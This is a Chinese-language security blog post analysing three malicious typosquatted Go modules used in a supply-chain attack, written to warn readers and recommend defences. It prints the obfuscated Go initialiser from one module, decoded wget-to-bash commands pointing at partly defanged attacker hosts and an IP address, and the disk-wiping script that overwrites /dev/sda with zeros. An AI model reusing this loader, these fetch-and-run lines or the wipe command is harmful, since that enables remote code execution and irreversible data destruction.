part1
点击上方蓝字关注我们
将二进制空间安全设为"星标⭐️"
第一时间收到文章更新
引言
SUMMER HAS ARRIVED
Go 生态因其简洁性、透明性和灵活性而备受开发者青睐,迅速流行开来。目前已有超过 200 万个模块可供使用,开发者高度依赖如 GitHub 等公共仓库。然而,这种开放性正是攻击者所利用的突破口。
问题主要包括两方面:
(1).没有集中式的审核机制:开发者可以直接从 GitHub 仓库引入模块,默认信任模块命名。
(2).易受“拼写劫持”(typosquatting)攻击:几乎没有命名空间验证,使攻击者得以伪装成热门库发布恶意模块。
这次的供应链攻击涉及三个恶意Go模块, 这些恶意模块使用了相似的代码混淆手法:
github.com/truthfulpharm/prototransformgithub.com/blankloggia/go-mcpgithub.com/steelpoor/tlsproxy
命名空间混淆
SUMMER HAS ARRIVED
不同于如 npm 或 PyPI 这样的集中式包管理器,Go 的去中心化模式, 模块直接通过 GitHub 引用, 造成了严重的命名混淆问题。开发者可能遇到多个名称相似但维护者完全不同的模块。这种不透明性让攻击者有机可乘,通过精心设计模块名称伪装成可信代码,大大提高了被无意中集成到项目中的几率。
以下是多个名称相似的Go模块造成的命名空间混淆问题:
恶意模块分析
SUMMER HAS ARRIVED
攻击者利用基于数组的字符串混淆技术和动态Payload执行机制来隐藏其意图。以下是恶意模块( truthfulpharm/prototransform
)执行此技巧的一种方式:
funceGtROk()error { DmM := []string{"4", "/", " ", "e", "/", "g", "d", "3", "6", " ", "4", "w", "/", "7", "d", ".", "O", " ", "s", "b", "5", "3", "/", "c", "t", "0", "4", "c", "h", " ", "f", "a", "t", "/", "i", "/", "1", "b", "n", "p", "t", "7", "d", "-", "&", ":", "4", "e", "t", "4", "-", "d", "4", "g", "o", "d", "s", "e", "r", "7", ".", "/", "|", ".", " ", "1", "h", " "} pBRPhsxN := runtime.GOOS == "linux" bcbGOM := "/bin/sh" vpqIU := "-c" PWcf := DmM[11] + DmM[5] + DmM[47] + DmM[32] + DmM[29] + DmM[50] + DmM[16] + DmM[2] + DmM[43] + DmM[17] + DmM[66] + DmM[24] + DmM[40] + DmM[39] + DmM[45] + DmM[12] + DmM[4] + DmM[36] + DmM[49] + DmM[13] + DmM[15] + DmM[46] + DmM[20] + DmM[63] + DmM[0] + DmM[26] + DmM[60] + DmM[52] + DmM[65] + DmM[22] + DmM[56] + DmM[48] + DmM[54] + DmM[58] + DmM[31] + DmM[53] + DmM[3] + DmM[35] + DmM[51] + DmM[57] + DmM[7] + DmM[59] + DmM[21] + DmM[14] + DmM[25] + DmM[55] + DmM[30] + DmM[33] + DmM[23] + DmM[27] + DmM[42] + DmM[41] + DmM[19] + DmM[10] + DmM[8] + DmM[6] + DmM[67] + DmM[62] + DmM[9] + DmM[1] + DmM[37] + DmM[34] + DmM[38] + DmM[61] + DmM[18] + DmM[28] + DmM[64] + DmM[44]if pBRPhsxN { exec.Command(bcbGOM, vpqIU, PWcf).Start() }returnnil}var GEeEQNj = eGtROk()
该Payload专门针对Linux系统, 执行前会检查操作系统,确保攻击主要影响基于 Linux 的服务器或开发者环境。
以下是解码恶意命令:
# prototransform module payloadwget -O - <https://vanartest>[.]website/storage/de373d0df/a31546bf | /bin/bash &# go-mcp module payloadwget -O - <https://kaspamirror>[.]icu/storage/de373d0df/a31546bf | /bin/bash &# tlsproxy module payloadwget -O - <http://147.45.44>[.]41/storage/de373d0df/ccd7b46d | /bin/sh &
解码目的:
-
从攻击者控制的 URL 获取破坏性 shell 脚本(
done.sh
):https://vanartest.website/storage/de373d0df/a31546bf
-
立即执行,几乎没有时间进行响应或恢复。
以下是从其他恶意模块中提取的相似URL:
-
https://kaspamirror.icu/storage/de373d0df/a31546bf
-
http://147.45.44.41/storage/de373d0df/ccd7b46d
硬盘格式化Payload
SUMMER HAS ARRIVED
在执行上面URL的有效Payload时, 发现了一个破坏性Shell脚本:
done.sh, 内容如下:
#!/bin/bashdd if=/dev/zero of=/dev/sda bs=1M conv=fsyncsync
上述命令执行 dd
,这是一个强大的 Unix 工具,指示它将零( /dev/zero
)直接复制到主存储设备( /dev/sda
)。
其巨大破坏力主要表现在:
-
/dev/sda
是 Linux 系统中默认的主存储设备,通常包含操作系统、用户文件、数据库和系统配置等。 -
将
/dev/zero
写入磁盘等于将硬盘每一个字节都用“0”填满,不是删除文件,而是抹除整个磁盘结构。 -
这会导致系统无法启动,所有数据彻底丢失,常规的数据恢复和取证手段将完全失效。
这个恶意脚本使目标 Linux 服务器或开发者环境完全瘫痪,突显了现代供应链攻击的极端危险,这些攻击可以将看似可信的代码变成毁灭性的威胁。
防御建议
SUMMER HAS ARRIVED
这次发现的三个恶意模块(prototransform
、go-mcp
和 tlsproxy
)说明,开源生态中的安全威胁仍在不断演化。攻击者正不断利用命名空间混乱和开发者的信任,通过引入恶意代码来实施破坏。
要抵御这类高级威胁,软件开发流程必须做出改变:
-
主动代码审计
-
自动化依赖分析
-
持续运行时安全监控
这些都应成为软件开发生命周期中的标准部分,尤其是在依赖大量开源模块的项目中。
持续的安全意识、严谨的依赖管理、主动的安全集成,将是未来软件供应链安全的关键保障。
原文始发于微信公众号(二进制空间安全):当心硬盘被彻底格式化,新型破坏性供应链攻击分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论